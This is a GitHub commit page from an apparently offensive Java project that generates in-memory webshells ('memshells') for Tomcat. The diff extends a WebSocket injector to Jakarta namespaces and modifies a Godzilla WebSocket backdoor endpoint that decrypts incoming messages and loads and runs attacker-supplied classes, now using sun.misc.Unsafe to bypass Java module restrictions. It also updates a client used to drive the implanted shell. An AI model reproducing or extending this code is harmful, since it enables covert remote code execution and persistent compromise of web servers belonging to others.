Skip to content

Commit 344ab2b

Browse files
committed
fix: jakartar websocket not work
1 parent 7b738a5 commit 344ab2b

File tree

6 files changed

+135
-48
lines changed

6 files changed

+135
-48
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,7 @@ public InjectorMapping getShellInjectorMapping() {
4444
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
4545
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
4646
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
47+
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
4748
.build();
4849
}
4950
}

memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,8 @@ public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
4646
new Remapper() {
4747
@Override
4848
public String map(String typeName) {
49-
if (typeName.startsWith("javax/servlet/")) {
49+
if (typeName.startsWith("javax/servlet/")
50+
|| typeName.startsWith("javax/websocket/")) {
5051
return typeName.replaceFirst("javax", "jakarta");
5152
} else {
5253
return typeName;

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -94,6 +94,10 @@ private Object getShell(Object context) throws Exception {
9494
private void inject(Object obj, Object context) throws Exception {
9595
Object servletContext = invokeMethod(context, "getServletContext", null, null);
9696
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
97+
if (container == null) {
98+
container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
99+
}
100+
97101
if (container == null) {
98102
return;
99103
}
@@ -104,8 +108,15 @@ private void inject(Object obj, Object context) throws Exception {
104108
}
105109

106110
ClassLoader contextClassLoader = context.getClass().getClassLoader();
107-
Class<?> serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
108-
Class<?> builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
111+
Class<?> serverEndpointConfigClass;
112+
Class<?> builderClass;
113+
try {
114+
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
115+
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
116+
} catch (ClassNotFoundException e) {
117+
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
118+
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
119+
}
109120
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
110121
constructor.setAccessible(true);
111122
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java

Lines changed: 31 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,9 @@
66
import javax.websocket.EndpointConfig;
77
import javax.websocket.MessageHandler;
88
import javax.websocket.Session;
9+
import java.io.ByteArrayOutputStream;
10+
import java.io.IOException;
11+
import java.lang.reflect.Field;
912
import java.lang.reflect.Method;
1013
import java.net.URL;
1114
import java.net.URLClassLoader;
@@ -16,15 +19,35 @@
1619
*/
1720
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
1821
public static String key;
19-
2022
private Session session;
21-
private Class<?> payload;
23+
private static Class<?> payload;
2224

23-
public Class<?> Q(byte[] classBytes) throws Throwable {
25+
public Class<?> reflectionDefineClass(byte[] classBytes) throws Throwable {
26+
Object unsafe = null;
27+
Object rawModule = null;
28+
long offset = 48;
29+
Method getAndSetObjectM = null;
30+
try {
31+
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
32+
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
33+
unsafeField.setAccessible(true);
34+
unsafe = unsafeField.get(null);
35+
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
36+
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
37+
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
38+
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
39+
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
40+
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
41+
} catch (Throwable ignored) {
42+
}
2443
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
2544
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
2645
defMethod.setAccessible(true);
27-
return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
46+
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
47+
if (getAndSetObjectM != null) {
48+
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
49+
}
50+
return clazz;
2851
}
2952

3053
public byte[] x(byte[] s, boolean m) {
@@ -49,20 +72,21 @@ public void onMessage(String message) {
4972
byte[] data = base64Decode(message);
5073
data = x(data, false);
5174
if (payload == null) {
52-
payload = Q(data);
75+
payload = reflectionDefineClass(data);
5376
session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true)));
5477
} else {
55-
java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();
78+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
5679
Object obj = payload.newInstance();
5780
obj.equals(data);
5881
obj.equals(bos);
5982
obj.toString();
6083
session.getBasicRemote().sendText(base64Encode(x(bos.toByteArray(), true)));
6184
}
6285
} catch (Throwable e) {
86+
e.printStackTrace();
6387
try {
6488
session.close();
65-
} catch (java.io.IOException ignored) {
89+
} catch (IOException ignored) {
6690
}
6791
}
6892
}

tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java

Lines changed: 83 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import lombok.SneakyThrows;
44
import org.java_websocket.client.WebSocketClient;
5+
import org.java_websocket.framing.CloseFrame;
56
import org.java_websocket.handshake.ServerHandshake;
67

78
import java.net.URI;
@@ -13,7 +14,7 @@
1314
public class BlockingJavaWebSocketClient extends WebSocketClient {
1415

1516
private CountDownLatch connectLatch = new CountDownLatch(1);
16-
private CountDownLatch responseLatch = new CountDownLatch(1);
17+
private volatile CountDownLatch responseLatch;
1718
private final AtomicReference<String> responseMessage = new AtomicReference<>();
1819
private final AtomicReference<byte[]> responseBytesMessage = new AtomicReference<>();
1920
private volatile boolean connected = false;
@@ -24,90 +25,137 @@ public BlockingJavaWebSocketClient(URI serverUri) {
2425

2526
@Override
2627
public void onOpen(ServerHandshake handshake) {
28+
System.out.println("连接成功");
2729
connected = true;
2830
connectLatch.countDown();
2931
}
3032

31-
@Override
3233
public void onMessage(String message) {
34+
System.out.println("收到消息: " + message);
3335
responseMessage.set(message);
34-
responseLatch.countDown();
36+
if (responseLatch != null) {
37+
responseLatch.countDown();
38+
}
3539
close();
3640
}
3741

38-
@Override
3942
public void onMessage(ByteBuffer byteBuffer) {
43+
System.out.println("收到字节消息: " + byteBuffer);
4044
responseBytesMessage.set(byteBuffer.array());
41-
responseLatch.countDown();
45+
if (responseLatch != null) {
46+
responseLatch.countDown();
47+
}
4248
close();
4349
}
4450

45-
@Override
4651
public void onClose(int code, String reason, boolean remote) {
47-
responseLatch.countDown();
48-
connectLatch.countDown();
52+
System.out.println("连接关闭: " + code + " - " + reason);
4953
connected = false;
54+
// Signal any waiting threads
55+
if (responseLatch != null) {
56+
responseLatch.countDown();
57+
}
58+
connectLatch.countDown();
5059
}
5160

52-
@Override
5361
public void onError(Exception ex) {
54-
responseLatch.countDown();
55-
connectLatch.countDown();
62+
System.out.println("连接错误: " + ex.getMessage());
5663
connected = false;
57-
}
58-
59-
@SneakyThrows
60-
public static String sendRequestWaitResponse(String entrypoint, String message) {
61-
BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint));
62-
return blockingJavaWebSocketClient.sendRequest(message);
63-
}
64-
65-
@SneakyThrows
66-
public static byte[] sendRequestWaitResponse(String entrypoint, ByteBuffer message) {
67-
BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint));
68-
return blockingJavaWebSocketClient.sendRequest(message);
64+
// Signal any waiting threads
65+
if (responseLatch != null) {
66+
responseLatch.countDown();
67+
}
68+
connectLatch.countDown();
69+
ex.printStackTrace();
6970
}
7071

7172
public String sendRequest(String message) throws InterruptedException {
72-
connect();
73-
if (!connectLatch.await(5, TimeUnit.SECONDS)) {
74-
throw new InterruptedException("Timeout during WebSocket connection.");
73+
// Connect if not already connected
74+
if (!connected && !isOpen()) {
75+
connect();
76+
if (!connectLatch.await(5, TimeUnit.SECONDS)) {
77+
throw new InterruptedException("Timeout during WebSocket connection.");
78+
}
7579
}
76-
if (!connected) {
80+
81+
if (!connected || !isOpen()) {
7782
throw new IllegalStateException("WebSocket connection is not open.");
7883
}
7984

85+
// Reset response data and create new response latch for this request
8086
responseMessage.set(null);
81-
connectLatch = new CountDownLatch(1);
87+
responseBytesMessage.set(null);
8288
responseLatch = new CountDownLatch(1);
89+
90+
// Send the message
8391
send(message);
8492

85-
if (!responseLatch.await(5, TimeUnit.SECONDS)) {
93+
// Wait for response
94+
if (!responseLatch.await(10, TimeUnit.SECONDS)) {
8695
throw new InterruptedException("Timeout waiting for WebSocket response.");
8796
}
97+
98+
// Check if connection was closed during wait
99+
if (!connected) {
100+
throw new IllegalStateException("WebSocket connection was closed while waiting for response.");
101+
}
102+
88103
return responseMessage.get();
89104
}
90105

91106
public byte[] sendRequest(ByteBuffer message) throws InterruptedException {
92-
connect();
93-
if (!connectLatch.await(5, TimeUnit.SECONDS)) {
94-
throw new InterruptedException("Timeout during WebSocket connection.");
107+
// Connect if not already connected
108+
if (!connected && !isOpen()) {
109+
connect();
110+
if (!connectLatch.await(5, TimeUnit.SECONDS)) {
111+
throw new InterruptedException("Timeout during WebSocket connection.");
112+
}
95113
}
96-
if (!connected) {
114+
115+
if (!connected || !isOpen()) {
97116
throw new IllegalStateException("WebSocket connection is not open.");
98117
}
99118

119+
// Reset response data and create new response latch for this request
120+
responseMessage.set(null);
100121
responseBytesMessage.set(null);
101-
connectLatch = new CountDownLatch(1);
102122
responseLatch = new CountDownLatch(1);
123+
124+
// Send the message
103125
send(message);
104126

105-
if (!responseLatch.await(5, TimeUnit.SECONDS)) {
127+
// Wait for response
128+
if (!responseLatch.await(10, TimeUnit.SECONDS)) {
106129
throw new InterruptedException("Timeout waiting for WebSocket response.");
107130
}
131+
132+
// Check if connection was closed during wait
133+
if (!connected) {
134+
throw new IllegalStateException("WebSocket connection was closed while waiting for response.");
135+
}
136+
108137
return responseBytesMessage.get();
109138
}
110139

140+
public void disconnect() {
141+
if (connected && isOpen()) {
142+
close();
143+
}
144+
}
145+
146+
147+
@SneakyThrows
148+
public static String sendRequestWaitResponse(String entrypoint, String message) {
149+
BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint));
150+
return blockingJavaWebSocketClient.sendRequest(message);
151+
}
152+
153+
@SneakyThrows
154+
public static byte[] sendRequestWaitResponse(String entrypoint, ByteBuffer message) {
155+
BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint));
156+
return blockingJavaWebSocketClient.sendRequest(message);
157+
}
158+
111159
public static void main(String[] args) {
112160
String uri = "ws://localhost:8082/app/fuck";
113161
System.out.println("Response 1: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "id"));

tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -231,9 +231,11 @@ public boolean test() {
231231
byte[] aes = aes(this.key, bytes, true);
232232
String base64String = Base64.encodeBase64String(aes);
233233
String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
234-
byte[] x = aes(key, Base64.decodeBase64(response), false);
235-
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
236-
return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8));
234+
if(StringUtils.isNoneBlank(response)){
235+
byte[] x = aes(key, Base64.decodeBase64(response), false);
236+
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
237+
return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8));
238+
}
237239
}
238240

239241
return false;

0 commit comments

Comments
 (0)